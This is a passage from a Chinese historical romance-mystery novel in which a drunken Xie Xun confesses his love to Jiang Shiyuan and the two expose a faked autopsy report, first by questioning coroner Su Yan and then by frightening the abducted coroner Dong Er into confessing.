姜时愿转身看着伏在几上双颊红晕的谢循,发现他藏在清贵皮相之下的另一个连本人都不知晓的一面,内心既无奈又不免另起心趣。 “水来了。”,她端来一盏水递至他的掌心,谢循阖着眼,仰着头,迷糊地举起杯盏,谁料那杯沿压根就没对准嘴,全部灌倒在了墨袍上。 他喉头涩然,怔怔的,“还是渴。” 都没喝进去,能不觉得渴吗? 再然后,姜时愿往往复复倒了三次水,谢循均不是洒在衣袍上,就是倒在青石板上,又继尔喊着“渴。” 姜时愿知道醉酒之人会性情大变,但还是生平第一次见突变得如此表里不一的。再看不出半点叱咤、心机深沉的样子,眼下的谢循行为处事简直比袁黎.还像孩童。 她实在拗不过谢循的再三蛮缠,只好应着他,再端来一盏,“魏国公,最后一次,绝无下次。” 这姜时愿起了个心眼,换她拿着着玉盏,抵在谢循的唇边。 谢循抿着杯沿,追着她抬手的举动,脖颈扬起,喉结滚动,吞咽水声一下一下清亮。也正是这清凉之水灌入喉中,他方才醒了一丝神思,敛开恍如水墨晕染的眉眼,盯着眼前还略显绰约的影子,温声喊她,“阿愿。” 这轻轻的一声,吓得姜时愿手一抖,杯盏也跟着不稳,剩余的水泼他半脸,滴滴水珠顺着他的下颌凝住少许,然后滚入衣衫。 谢循怎么醒了?还偏偏是在这时? 姜时愿撇开玉盏,小盏咕噜滚在青石板上,心里打鼓。 好在,她见谢循纵使醒了,也目光游离、不甚清明的样子,好似完全想不起刚才喂他喝水的事,听着他语速迟缓地发问:“我莫不是在做梦吧……阿愿…”又听他迟钝稍许,后不情不愿地改口,“姜司使,你怎么会在这里?" "分明是国公您递来纸条喊我来的,说是今夜子时要事相商,结果您却醉了。" “没醉。”谢循固执否认,低垂着眉眼,好似思索许久,终于将断片的记忆寻回,“对…是我让袁黎喊你来的。近来我都在整理姜学士旧案的疑点,略有发现,遂想说与你听。”这话说完,便是长久的沉寂。 姜时愿见他扶额沉思,半天想不出个所以然,又瞧天色:“要不明日等国公酒醒了再议吧。” 可她忘了今夜的谢循出奇的固执,从不肯听她的话,只喊姜时愿等着,说他定能找到。 谢循赤脚下榻,走向博古架、书案前胡乱翻找,香炉、花瓷皆被他碰翻…他找寻无果,又咳声着返回到罗汉榻的几上翻找手札,原本还算井然有序的手抄被他弄得乱序散漫。 姜时愿又继而无奈地看着他拿着手抄,将水纹纸张东倒西歪,辨别着他曾亲手写下的字迹。 谢循越是想看清,纸上密密麻麻的字越是糊成一团,不知不觉咳嗽声愈剧,额间冷汗沁出。 姜时愿也自然瞧出来了谢循的不对,站在他的身后,出言阻止,"别找了,明日再议也行。" “不行,一定要找到。”话落,又是沉闷的咳声。 谢循身上亵衣淡薄又坐风口,还极为专注地一张又一张的手抄过眼,难得虚弱到脊背拱起。 那一声声又急又剧的咳嗽震入姜时愿的耳中,她心有不忍,不愿让重伤未愈的谢循再折腾下去,终是走近他,似宽慰孩童般软语道:“好了,谢循,别找了,莫再胡闹了,今夜先好好休息。”谢循身上还散着淡淡的酒香,听后,缓缓摇头。 "为何不行?" “因为我想将你留在我身边,也因我仅剩这一点价值。” 谢循凝着她,“我牢记约法三章,除了典狱之中公务外我们不得相见。但我知道,这是阿愿你不愿再见我、逃避我的借口。我也知道,我这人生来就遭人厌恶,才会无父无母,接近我的人也全无真心,但,阿愿你是这世上唯一待我好的人。”“这世上所有人都可以厌我,弃我,我俱不在乎。我只求,你…不要舍我而去。” 谢循垂首看着白纸宣字,说得轻微,“因利而合,让你觉得我的身上还有些许价值,或许是我唯一能留住你的法子…” "比如,今夜我就想留住你,就仅能靠着姜学士的旧案。" “除此之外,再想不出我这具浮游之身还有什么,能留你在我身边稍许。” 姜时愿眼睫低垂,不经意间落下两滴泪。 垂着蝽首,哪怕再欲想掩饰佯装无情,可双眼的红润,内心的苦涩均藏不住。 "所以你是因为兄长的旧案日夜操劳,甚至…不肯好好睡一觉。"她听袁黎提过,伏魔殿中整夜烛火通亮,未曾断过。 “你身上还有伤,知不知道?” 姜时愿鼻头酸涩,啜泣着,“你有没有想过,你做再多都可能毫无用处…我甚至都不会领你的情,依然冷着你、淡着你,你为何还要这般忍着我、想着我?”她最近故意对谢循态度冷淡,就是想狠心切断他的念想,让二人本不该结缘的因果有个了断。 可未曾想到,藕从两头断,藕断丝还连。 因为情字,谢循卑微入泥。白无常说得当真没错,或许谢循此人满腹谎话,但他的心却做不得假。 她的眼泪也被谢循看得一清二楚,他想伸手抹去她的泪,指尖却在即将触到她的桃腮前停下。好在这次,他的犹豫终于被温软触及,姜时愿主动落入他的掌心。 “停下来吧,别找了.….” “今夜我不离开。”她绽开笑意,声音也跟着脆生生的。 “当真?”谢循难以置信,唇角微勾,笑意若有若无,“从阿愿口中说出来的话,定是一诺千金的,对不对。定不会像我一般满口谎话,言而无信,是不是?” 谢循竟然用自己来激将她,姜时愿抿着唇,睇了他一眼,“还以为你醉后再无心计,结果全使坏在这。” 不得不说,谢循的攻心之计赢了….反正她今夜无论是客观还是主观上都出不去这伏魔殿。 眼下的谢循倒是不再胡闹,出奇地乖顺,姜时愿让他坐好,哪怕他酒意上涌,身体忽重忽飘的,但也安分地坐在罗汉榻上,身姿英挺。姜时愿让他不许乱动,他便就真的坐如木桩,一动不动。见此她也就略微放心,转而去博古架上找寻创药。方才听谢循咳嗽,她便心觉莫非是他的伤势又加重了? 姜时愿临近谢循,指尖挑起他松散的衣襟,露出锁骨下精瘦有力的筋骨,猿臂蜂腰,宽肩窄背,肌理分明。而因为醉酒的缘故,他的脸颊甚至全身都因此泛红,染上胭脂色。 她垂眼看向他胸口的伤痕。仍记得她离开之时,伤势愈合半好。然后如今再又一瞧,疮痍处皮肉肿胀泛红,甚至再度腐烂。 谢循定没按时上药。或者说自她走开后,再也没上过。 “你就这样弃自己的身体不顾?”“从前受了伤,没有伤药,也能熬过来,遂习惯了。” 难怪他从不喝汤药,也从不习惯于为自己上药。 姜时愿有些恼,往掌心倒着药粉,直接手心覆了上去。愈合腐肉的创药哪有不痛的,如伤口撒盐,她原本也想轻柔地替他上药,如今见他如此不爱惜自己的身体,有了气,也想给他一个教训,让他知晓痛,以后再不敢随意糟蹋自己。 哪想,姜时愿再次抬眼扫上,谢循的脸上哪有丝毫痛苦,反眉目舒朗,满是笑意。得,她又知道,他又将此作为‘甜糖”奖励给自己。 一拳打在棉花上,姜时愿也是无奈,他不知痛,而她却心中酸涩,隐隐替他作痛。她的指腹轻柔地推开过甚的药粉,均匀涂抹在他的伤口上,边涂,又边徐徐呵出芝兰气息,如春风吹拂。 不吹不要紧,这一吹,一阵酥麻随着她的气息散至谢循全身,他浑身不仅发烫还微痒着,筋骨紧绷,手心攥紧了腕下的宣纸,嗒嗒地发出捻音。 "痛?”姜时愿察觉到了他的紧绷,语气稍厉,“现在才知痛,晚了。"嘴上虽这么说到,手上的功夫却恨不得如羽毛般柔。 姜时愿又捻来草药覆在白巾上,玉臂轻环着他的腰身,白巾从他的猿臂下穿过,为他包扎。不知为何,此时的举动忽然让她想起来了明嫩,银牙咬着樱唇,“明嫩是不是也像我这般为你上过药?”她记得明嫩曾说过,谢循曾在暗河之时经常负伤,都是她亲自为他上药。 “是。”谢循扭过头。“你这时倒坦诚得很。”姜时愿不知为何,听他毫不遮掩,心中略不是滋味。 “因我不想再骗你。”谢循的胸膛随呼吸起伏,“阿愿,但,我对明嫩从无男女之情。” “那袁黎之前说的莺莺燕燕呢?又是谁?”经此一点,姜时愿又想起袁黎曾说过:她比谢循枕榻旁的莺莺燕燕都要顺眼些…醉后的谢循倒是交代得干净,“她们是左相派来的眼线,被迫要与之周旋。” 姜时愿看似淡然地轻轻“噢”一声,实则藏着醋意紧咬着周旋二字。心里止不住地想,如何周旋?去哪周旋?难不成滚到….,又难不成他一身床榻功夫,是前人栽树,她是后人? 谢循却好似看穿了姜时愿的心思,注视着她,慢声道:“没有那些事。” “阿愿,我很干净的。”他的声音低柔,贴着她的耳畔,“鱼水之欢…” 姜时愿骤然意识到这个醉鬼要说什么,眼下二人算不得夫妻,算不得宿敌,也算不得情人,仅是盟友。 盟友之间,哪能说这些? “不许说!”她急忙用两指脂腹抵住他的唇,奈何谢循竟然唇翕而动,将委屈俱道了出来:“床弟云雨之事,我分明只与阿愿你一人做过。” 119、119 ... 夜色渐浓。 姜时愿上药的动作又轻又柔,加之酒气上涌,袭来困意,谢循浑身软依在罗汉榻上,眸光紧缠着姜时愿的黛眉、明眸、琼鼻、樱唇。 他长睫轻颤,眼神愈发迷离。不愿就此睡去,但眼皮愈发沉重。 姜时愿从未见过谢循如此疲态,稍微整理好他的玄衫,想到他这三日来不眠不休查兄长旧案,估计身体已然濒临极限。 "你是不是困了,若困了便早些安寝吧。" 谢循指尖轻拽着她一角薄薄的衣袖,竟让她瞧出了些许撒娇讨好的意味。她看着抿唇不语的谢循,又问道:“你是不是不愿意睡?”谢循迟缓点头。 “为何不愿意?” “我若阖上眼,如何能再看着你?”谢循的唇间吐出淡淡的酒香,脸色绯红。 他说的乃是真心话,若一旦睡去,小则一二时辰,多则一夜,他如何舍得浪费今夜良辰在区区小事上? “阿愿,我想看着你,就这样瞧上一整夜,也只会觉得流光易逝,再求千年。”谢循俯身贴近她的面腮,盯着她流连的眉目,眸光不移。姜时愿自然也察觉到了从头顶上传来的视线,不敢抬首,脸上悄不留意腾起红晕,嗔道:“我是石头嘛,还能让你眼巴巴瞧上千年?” 她自是不好意思让谢循看上一整夜,也不可能任由着他的意思胡闹,沉寂片刻,握上他的掌心,又用另一只柔荑遮住他的双眸,“看在你醉了的份上,不和你计较。” "也不一定非要看着,不如换个方式…."“今夜且让你握着,仅此一次,下不为例。” 以亲密的接触,代替眼里不舍的贪恋。谢循是个精明算计的人,阿愿开出的条件,属实令他难以拒绝,他扬眉轻笑。 他终于不再固执,应道“好”,攥着馥郁罄香,不再与困意抵抗。 等着谢循的呼吸渐渐绵长,姜时愿玉臂也抬得发酸,再三确认他真的已沉入睡梦后,才缓缓从他的眉眼上移开掌心,而另一只柔荑却没那么幸运,怕是整夜都不能逃脱谢循掌心的桎梏。长夜漫漫,青灯烛泣。 今夜不知为何姜时愿了无困意,她看了盯了会儿谢循,好似想牢牢记住今夜难得一见的他,羞赧、听话乖顺、还有着幼稚的心性。虽然烦人,倒也没有那么令人生厌。 她垂眼看着几上漫漫的手抄,又眉眼低垂,盯着白字墨字,心中动容,“谢谢你。” 仅有一只活动自如的手,添了许多不便,她先移青灯,再添灯油,后摊开谢循誉抄的姜淳卷宗,细细查看,时隔三年,再次回忆起兄长的冤案。 三年前,她的生辰宴。 姜时愿仍记得那日,她满心欢喜在府中准备自己的生辰宴,而兄长却不知为何神色焦急,急欲进宫,走得匆忙就连生辰礼都来不及亲自送到姜时愿的手上,就匆匆离去。 兄长和燕王密见的一个时辰,禁闭的金云殿不知发生了什么事。内侍携禁军闯入金云殿之时,发现燕王中刀遇刺。而兄长毒发身亡,毒酒缓缓从他手中的杯盏里流出… 世人皆说,翰林学士姜淳包藏祸心,身携匕首,潜入殿内,趁着密会之时,对燕王下了杀手。后自知无力走出金云殿,只好饮下毒酒,自我了断。 燕王曾告诉她,那日是姜淳主动求见,灌他薄酒,令他疏于防范。也是姜淳用匕首刺向了他的心口。 可姜时愿分明记得,兄长是接到燕王密令才进宫面见,为何和燕王所说的不一样?这是疑点之一。 紧接着,姜时愿眸光扫下,看见白纸上谢循墨字力透纸背,为她罗列下其余疑点。与姜时愿的想法不谋而合。 首先,进宫之前要先经朱雀门过正验,姜淳刺向燕王的凶器是如何藏在身上,瞒过诸多禁军的眼睛? 其次,燕王精通功法,身强力健,而兄长姜淳不过文儒。当面行刺,谈何容易?先不说武夫和书生力量差距甚大。就算燕王醉酒,一个书生就可以轻易重伤久经沙场的将士?是否,过于简单了?最后,兄长以鸩酒断送了自己的性命。既然他有毒酒,为何不选择毒杀燕王,而是刺杀。 她看着谢循以丹红画出最后的猜想:案件要素链过于齐全,这仿佛是在刻意做给所有人看,是姜淳刺杀了燕王。 谢循所言不无道理,幕后真凶用这么繁琐的手段,不就是为了此案板上钉钉,无从再辩。 真凶完美地集齐了一个罪案所有的证据链:凶手的认罪自杀,物证凶器,不可推翻的密室条件,全程侯在殿外的目击证人,还有…侥幸存活下来的受害人。 所有的‘证据”环环相扣,让姜淳背负杀人罪名,永不得翻身。 设局之人,心思之深,令姜时愿后怕。 夜色渐褪,晨光洒入,映在帐帘之上,日光灼灼跳动。 屋内连同榻上之人都还散着淡淡的酒气…谢循似被扰了清梦,扶额坐起,头疼欲裂,敛开还有迷离的双眸,却神情一怔。 是在做梦吗?他甚至狠狠拧了一下皮肉,哪怕痛,也觉得尚不真实。 谢循看见姜时愿坐在榻边的小杌子,趴在榻沿之上,玉颊下还垫着他几张手抄,睡容恬静。而更不可思议的乃是,他还握着阿愿的柔荑。 阿愿怎会让他握着?这决绝是不可能的事。 莫非是他混耍酒疯,迫得阿愿?紧接着放眼看着满屋凌乱,纸张四散,他的不安又更上一层。 谢循努力想要去拼凑昨夜的记忆,却脑海昏沉,半点也想不出… 正这么想着,姜时愿也从睡梦醒过来,睡眼朦胧,抬眼却看见谢循的俊颜。二人之间贴地极近,鼻尖相抵,交融着都略显急促的呼吸,四目相接,眼底都藏着不安。 谢循不安的乃是昨夜遗忘的一切,是喜是忧?醉后的他,有没有惹得阿愿更厌恶自己? 姜时愿不安的则是,昨夜发生的事情如何能不被谢循知晓或猜到? 姜时愿的脸虚热得微微发汗,银牙紧咬,“你是不是不记得了” 这神情落在谢循眼中,既像羞赧,又更像盛怒强压,他亦跟着紧张,喉结滚动,“嗯。” 二人虽四目相对,眼神却游离闪躲。 谢循不知该如何摸清姜时愿的态度,呼吸紊乱,恨不得将那些无用的城府心计多分一些在明清阿愿心思上,一字一句探地小心:“姜司使,你与我之间可还是…盟友?”他怕,连盟友最后这层关系也守不住。 没想谢循如此轻易地就给了台阶,顺势而下,姜时愿脑子里“轰隆”一声,结结巴巴:“当然…” 她也怕,撑不住这最后的盟友关系。 有了彼此之言,二人俱在对方不经意间,缓缓纾下一口气。 又巧,袁黎走下密道,赶来赶来送早膳。他想着陆不语的话,说姜时愿和谢循二人今夜过后不是如胶似漆,便就是最坏的结果一刀两断。因此,一路上他的心都狂跳个不停。既想看来二人重归于好,又怕见到他们再次刀剑相向。 所以再次他们二人时,袁黎也吃了一惊。 姜时愿和谢循之间不符合陆不语猜测的任何一种情况,二人出奇地客套,礼数周到,相敬如宾。 八仙桌上,二人更是互相谦让。 袁黎从食盒里端来一碗小米粥,想着先递给谁,姜时愿推着袁黎的手朝谢循的方向而去,话里话外都是客套疏离,“先端给国公吧,尊者为先。”,袁黎又端给谢循,谢循又推回他的手,“不必,先给姜司使吧,我还不饿。" 二人来来回回当着袁黎的为木棍,推来推去,袁黎再受不住,生了气,气得腮帮子鼓鼓的:“我先喝,行了吧。” 姜时愿和谢循二人面面相觑,这才有了收敛,沉默喝粥,心思各异。 谢循始终小心翼翼观察着姜时愿的神色,有意讨好:“姜司使,昨夜我也不知为何醉了酒,行为有失,你别往心里去。”他先致歉,然后极快一语带过这不安的话题,“昨夜我让袁黎给你传信让你来伏魔殿,是因你兄长的冤案有了发现。" 果不其然,如他所料,姜时愿忙不迭抓住姜淳的事情,“我看你梳理在水纹纸上的疑点,与我所想一致。” "我还有些别的发现。" "什么发现?" 谢循命着袁黎去博古架上的匣子中取来两张验状,放在她的眼前:“这两份都乃是你兄长的验状。” 姜时愿赶紧左右接过,谢循站在她的身后,俯下身,指道:“你左手拿着的乃是监察司仵作董二给出的验状,右侧验状的乃是典狱四处的苏言。” “为何我的兄长有两份验状?”姜时愿微微蹙眉。 谢循温声解释到:“你可还记得,三年前最开始接手姜淳刺杀一案的并非是典狱。金云殿一案发生时,我还在京外。”他开始重新梳理回顾,“内侍发现姜淳死在金云殿中,而燕王生死不明。兹事体大,当即就报了监察司,所以最开始接手案件的乃是监察司。而半个时辰后,圣人的旨意又下,将此案移交给典狱负责,又命我即刻从马天坝赶回京中,重审此案。" "所以说,案子发生后,最开始审理此案的乃是监察司。半个时辰后,典狱又从监察司手上接手。" 这也就能解释,为何会有两份验状了。监察司的仵作董二先验了一遍,典狱的苏言又验了一遍。 “你仔细瞧半这两份验状?”谢循温声指导。 监察司的董二写: 姜淳尸身呈仰位,四肢分立,左腕微弯。皮肤呈散在青紫,口鼻处有白沫。双眼瞳孔散大近半寸,口内尚有刺鼻气味。推测死于鸠酒。 而苏言的验状完全一致。 “怎么会完全一样?”姜时愿喃喃道,袁黎也凑着头过来,疑问道:“完全一样不是说明验得才准吗?这不好吗?” 谢循的手掌落在袁黎的头上,笑道:“还望姜司使替我指点一二。” 姜时愿放下两份验状,说到:“完全一样,才会令人生疑。” “若人刚死,半个时辰内足以发生诸多的改变。尸体随着时间推移,温度等因素,发生不同程度的改变,如皮肉腐烂、气味加剧或消散,青紫瘢痕移位或散漫,四肢僵硬程度的改变等。” “除了死因、致命伤不变外,可以说唯有相同时间、相同地点给出的验状,细节才能完全一致。” “而这两份无论是皮肤、气味、肢体等细节完全一致,这说明…”姜时愿看向谢循,语气微黯。 谢循如有默契,接下:“说明董二和苏言二人中,定有人的验状做了假。” “或许,这就是破局的关键。”他们如有默契,异口同声。 120、120.. 幕后真凶为将谋杀皇子的罪名嫁祸给兄长,可谓是煞费苦心,编造了一整条完整的证据链,虽疑点甚多,奈何环环相扣,让姜时愿无从查证无从辩驳,好在,她眼下终于发现了破案的关键这两份前后相差一个时辰的验状分为监察司董二和典狱司苏言所写,这两人之中定有一个人在说谎。姜时愿先是去了趟临水居,秘密地找了苏言问了三年前验状的事情。 苏言一听姜时愿是为姜淳的事情而来,顿时脸色铁青,连忙合找支摘窗,威声直下:“此案如今移交给大理寺重审,和我们典狱已无关,你怎歌插手?而且你…与姜学士的关系。"他顿了顿,又说道:“涉入此案,实乃不妥。“若被魏国公拿捏住了把柄,你性命不保!”苏言激动得唇角抖动,谁料姜时愿神色自若,语音淡淡,“他不会的,苏兄无需为我担忧。"因天牢一事,典狱谁人不知魏国公视姜时愿为眼中钉肉中刺,所以苏言觉得她大抵是疯了,还为谢循开辩,急道:“阿愿!" “我费劲心思走出女囚,逃离皇陵,进入京中,进入典狱,日日夜夜所想的不就是为兄长洗冤。此案我绝不放心再交给任何人,还请你助我。"她藏着一路以来的不易,字字心酸,裙衫轻扬,跪在地上。苏言着实看不下去,左右为难,最后咬咬牙将她扶起,直叹“罢了、罢了。“你手里所拿的验状确我所写,你的兄长是我亲自验的尸体。姜淳死于鸩酒,身上也并无任何外伤,当是没人强迫、主动饮下。苏言回忆起姜学士的尸身仍不免唏嘘,又接着回答了姜时愿接二连三抛来的问题,回答着回答着,又察觉不对,姜时愿仿佛是在审自己?苏言猜的没错,姜时愿就在审他,问他姜淳尸身的细枝未节,验尸时的天色环境及验尸用了几时等等,苏言苦思冥想,均回答无误,看起来不像是在作假。“苏兄,你再仔细回忆回忆,验尸时我兄长的尸身可还有哪些不曾写入验状上的异状?"“什么都可以你再想想。姜时愿小心觑着苏言的眼色, 只听苏言长“嘶”了一声,“倒有一些…也不知算不算得上。 “当时我验尸时发现,姜学士胸腹部有散在暗紫瘢痕,这瘢痕也就是尸斑,似乎起得比常人更早一些。还有,你的兄长尸体尤冷.… 尸斑?冷? 恩师竹公曾传教于姜时愿,经他大量尸体上勘验,发现一规律:人死后的一个时辰到两内时辰之内皮肤上会出现尸斑。 而自金云殿众人发现姜淳尸体,再到半个时辰后此案由监察司移交给典狱,满打满算姜淳的死亡时间也不会超过一个时辰。 况且那时二月寒冬,低温会使尸身延缓腐败。所以,按理说,兄长身上不该这么早长有尸斑! 而且苏言也说,兄长尸体尤冷 难不成.…? 姜时愿揣着满肚子的疑问走出临水居,就看见袁黎嘴里叼着糖葫芦在水榭旁等她,他兴高采烈地跑向姜时愿邀着功,神神秘秘地拉着她走去了佛魔殿中的密室里二人在云涛绿石座屏前停下,姜时愿学着袁黎的举动,猫着身体,似贼般探出一只眼睛。离她三尺的铁牢中,她瞧见了另外一个面生的男子。那男子蓬头垢面、长满麻子脸,被五花大绑锁在铁架上,喋喋不休地叫嚷着 “是谁,是谁敢绑我?你可知道我是谁,我乃是监察司的司值董二!“说来也是倒霉,他听完柔情小曲刚走出烟花柳巷,后脚就被人打了一闷棍,醒来后就发现被人绑来这伸手不见五指的密室中。 这人自称董二? 姜时愿心念,这不就是她要找的第一个验兄长尸身的仵作? "董二是你绑来的?”姜时愿看着袁黎点头,微微蹙眉,“为何绑来他? “我想帮你,你不是在查他吗?"把他绑来直接审他,岂不更方便?若他不老实便直接揍他一顿,直至他开口为止,岂不更快?袁黎原些欢天喜地的原以为帮了姜时愿大忙,可眼下瞧着姜时愿并不高兴,反而等来了斥责:“你可知只有贼或犯人,才可绵之且用刑。你绑了董二便是错,更何况他乃是官员,你更不该不按章程办事,私自绑人。姜时愿也是袁黎忧心,典狱条例森严,规章有理有据,“你执掌六处更不能知法犯法,无视条例,若是被谢循知晓,你定是吃不了兜着走。所以,此事定不能被他知晓,知不知道?袁黎机敏地点了点头,顺嘴道:“那眼下怎么办,我打晕了再把董二送回去?"“既来了,不审审,岂不可惜?"“你不是说不能私自用刑吗?"姜时愿眉梢微翘,清婉的面容上竟能瞧出一丝狡黠,“自然不会用刑,仅吓而已,诈诈他看他会不会吐实话。”说罢,她提步离开,缓缓从座屏后现身,走向大吼大叫的董二走去。袁黎猫着腰,仍藏在座屏之后,骤然感觉到头顶一道明翳俯下,他心中咯噔一声,抬头上觑,不出意外对上了如墨如渊的凤眸,怔怔然,听着谢循漫不经心地唤出那人的名字:“董二。平日里的袁黎脑袋不大灵光,但不知为何今日就跟开窍般顿时从谢循的皮笑肉不笑下摸清他的心中的鬼,问道:“主君早知道袁黎要去绑董二是不是?你谢循分明就是故意的,借他的手绑来董二,坐收渔翁之利,又不用挨姜时愿的一顿教诲。 袁黎总算想清楚了,扭过脸,闷闷不乐。心念着,原来主君才是那个知法犯法,无视条例的狂妄之辈 这时,董二抬眼见着一名青衣女子,自暗处走来,宽袖裙衫却勾出袅袅腰身,他先是看得痴了,然后察觉出来人甚是面熟,诧异道:“你不就是那个曾名满汴京的姜家嫡女,姜时愿? “我好歹也算是朝廷命官,你有几个胆子,岂敢绑我!”董二怒不可遇,姜时愿却依旧神色淡然,不急不慢道:“与其先替我担忧,不如董仵作先考虑下自身的安危能不能保全住。 “你这是什么意思?”董二挑着竖眉。 姜时愿从袖中掏出验状,贴在董二的脑门上,“你是第一个验姜淳尸身的人,我问你,你写的这份验状你可有作假?" 董二一瞬讶然,强压下铁青的脸色,“这份验状,有何问题?" “而你所写的验状和苏言的验状可以说是分毫不差,像是一个模子刻出来的。明明随之时辰推移、温度地点等改变,尸体的状态也会随之变化。 “是吗吗?”董二咬了咬牙,语音转了个调。 旁人不晓得,他却清楚自己肚子里装着有几斤几两,他生来志不在此,学了些许仵作皮毛,考取不受人待见的件作仅是为了养家糊口,所以从未认真钻研过学问,今日也生平第一次听见如此新鲜的知识 但很快,董二为了不被发现端倪,连连否认:“仵作之学,繁琐高深,你说的也不是绝对。姜淳学士的尸体是我亲验,所验就是如尸状上所写的一致。 “既然你问心无愧,说亲自验过我兄长的尸身。那我问你我兄长的锁骨下三尺有一道胎记,那胎记是何模样,是何大小?"姜时愿凌厉眼峰直戳董二的心。 “那胎记是不是蝴蝶样式,拳头大小?" 这话里明显是藏了坑,董二心里暗笑,心念着姜时愿的心思还算太嫩,“三年前的事情请恕下官实属记不清了,只记得是有一胎记,样式和大小.,这怎么全然记得? 董二自诩回答地天衣无缝,谁料姜时愿闻言,低头莞尔一笑,却道:“错了。"” "什么错了?"“兄长姜淳全身上下,从无胎记。董二心头一跳,直视着眼前眉眼端丽的女子,心思如海,满腹算计!这那么忙不成就是妇人心? 他已然露出马脚,姜时愿便不再周旋,直接点明,“你到底可曾亲眼验过我兄长的尸身,还是照着苏言的验状依葫芦画瓢随意写了一份糊弄出来!董二咬死了不说,晾着姜时愿无凭无据也奈何不了他,见她拿起红盆中的洛铁,更是轻蔑笑出声来,"怎的?见我不开口,就要对我用刑?“你如何知道我不敢?"“谁人不知姜司使这菩萨心肠,当真能下得了此狠手吗?” “嘿哟.姜司使美眸澄我干甚?咋滴,这就不敢了?”他就知道姜时愿是个纸老虎,空有架子,就是以刑罚吓他开口。对于怂人,当然好用,对于他董二,另当别论,也不看看他已在官场混迹了多少年。他仍叫需着:“姜司使可知这洛铁烧在身体上的哪块皮肤上最苦不堪言吗?你对人用过刑吗?我乃朝廷之人,你又可敢对我用刑?"董二显然已经看穿了姜时愿,姜时愿威逼不成,眼下暂也束手无策。正当转身之时,觑见绿石座屏上勾出一道颀长如竹的影子,劲瘦有力,窄摇紧实,静时玉山将倾。半响之后,姜时愿梨涡浅现:“还请魏国公相助。这听着不掺敬意,理所应当的语气更像是命令。“嗨哟,用刑不成,还想搬出魏国公吓我?"“还魏国公?要是魏国公真的能站在此处,我就能把这寒铁吞了…”董二满脸不可置信,咬着魏国公三字嘲讽着…,骤地瞳孔倏然扩大,牙关打颤,吓得像是撞了邪正如姜时愿所说,那玉屏之后,走来一个''青面獠牙’,站在姜时愿的身侧,蹀躞带紧束,勾勒出凌厉腰身。谢循的语气掺着三分凉薄,“怎么,你是欺我典狱无人?” 董二惊得下巴都掉了,还仍叹着绝不可能若是他真的是谢循,怎么可能帮着姜家做主?如若他不是谢循,又有谁能让他惧怕?还未等董二绕过弯,谢循面如刀刻,语气微黯:“谢某的耐心已然不多。“你方问不知这烙铁烫在身体上的哪块皮肤上最苦不堪言?"谢循挽起玄袖,眸光晦暗,冷笑道:"恰好谢某乐意钻研此道定能给出解答,不知董仵作可愿一试?" 谁人不知谢循的罗刹威名,扒皮抽筋的十八狱的刑罚皆是他所创。在他手上,生不如死 谢循不过三言两语,甚至还未动真格,董二已然骇得两腿间流出才澄黄液体,“我说.….我说….还请魏国公和姜司使开恩饶我一命。 “魏国公罗刹盛名,果然名副其实。”亲眼所见,姜时愿生出感慨。 下一瞬,谢循凑着姜时愿的耳畔低语,“为何姜司使慈眉善目便是菩萨,而我就是罗刹?"他嗅着她香颈出散出的清淡的药香,眸光微动,“不过向来罗刹都是要被菩萨收降的。 谢循眸光微动,声音轻微,不敢叫姜时愿听见,“还请你渡我”。 121、121(双更) 董二经不住吓, 很快便将三年前的事情一无一时交代了个干净。“我做仵作这么多年,还从未见过如此邪门的事情。”他战战兢兢地瞧了一眼姜时愿,仍有些后怕,“您的兄长怕是真的是含冤恨死,不然也不会死后魂魄不肯归九泉,徘徊人间。说来也是骇人,董二的心七上八下,忐忑难安。圣德三十一年,三年前。金云殿发生要案,燕王遇刺,生死不明,举宫皆霞,御医极力救治下才侥幸留住燕王一命。而以七首刺伤燕王的乱臣贼子姜淳早已饮下毒酒,没了气息,尸身先是被送去监察司初验。验尸之责原本论资排辈,怎么也轮不到董二这种学龄三载、初出茅庐之辈。不过那日他却出了奇的走运,司里碰巧上值的仵作仅他一人,所以钻了空子。董二初见姜淳尸身皮肤青紫,十指黢黑,实乃中毒症状。为了进一步验证猜测,便用沾水的棉布堵住尸身的口鼻耳处,又取了蒸熟的饭团塞入他的口咽中。如果饭团发黑,则为中毒,无则相反。此验毒方法,需要等上一定的时间。董二原本想着停房内等上一阵,谁想到赌坊放贷的牙子偏不巧此时找上了监察司,他私下好赌、欠款累累的事情决计不能被司里知晓,否则闹大了会丢了官职!他心念着,马不停蹄跑出停房,没有过多周旋,直截了当地狠下心把房产地契全部交给了牙子才勉强息事宁人。暂时赶走了牙子后,董二匆匆又跑回停房,却猛地瞧见姜淳的尸身不见了!怎会不见了?好端端的尸体怎会凭空消失?而且他问了司阍,从未有人出入过停房最怪异的,他还瞧见用来堵住口鼻处的棉布皆落在了地上。分明是二月寒冬,但董二却吓得不轻、汗流浃背,连忙和司阍二人分头寻找,苦找多时无果,又紧接着迎来当头一棒的消息,此案竟从监察司的手里移交给了典狱。更要命的乃是,左相和典狱的司使们均已经抵至司里。 涉及要案的死尸不见,丢失官职是轻,保不齐他的脑袋也护不住了可眼下董二已经无力回天,向左相和诸位司使行礼之后领着他们来到停房,正欲想着该如何开口,可竟意外瞧见姜淳的尸身安然无恙地躺在冷台之上。董二使劲揉了揉眼睛,还以为是自己看错了。他错愕着并眼睁睁看着青衣司使白布覆盖尸身,并在他的眼皮子底下抬走姜淳,许久许久,董二都没回过神来,司阍见之宽慰道,“没准当时风雪飘眼,大人眼拙,看错了,这事万不可被他人知晓。 董二怔怔的,点了点头。 当真.…是他看错了吗? “小的已然辨不清这一切是真是假,当时是不是眼花看错了?"“还有,当时遇牙子催债,又遇到那种怪事,导致小的从未来得及验明姜淳的尸身。又怕被人察觉小的玩忽职守、看管不力,所以这件事情一直从未敢跟任何人挑明,姜淳的验状也是小的照着苏言所写仿的。事情已经败露,董二满是愧意,不敢再看姜时愿的眼神,狠狠抽着自己耳光,说自己真不是人。声声清亮的巴掌声并没有丝毫宽慰姜时愿心中难言的痛意兄长的冤案,所有人都深涉其中。明知存有疑点却全因一己之私,知情不报,助纣为虐。加之真凶设计,帝王猜疑,因此,那年的万里寒风,冰雪冻住了姜家所有的英魂.然而,冤者若再想昭雪,则难上数倍。如今姜时愿总算搞清楚了一切疑云。她的兄长姜淳清清白白,从不是包藏祸心的奸臣! 世人说 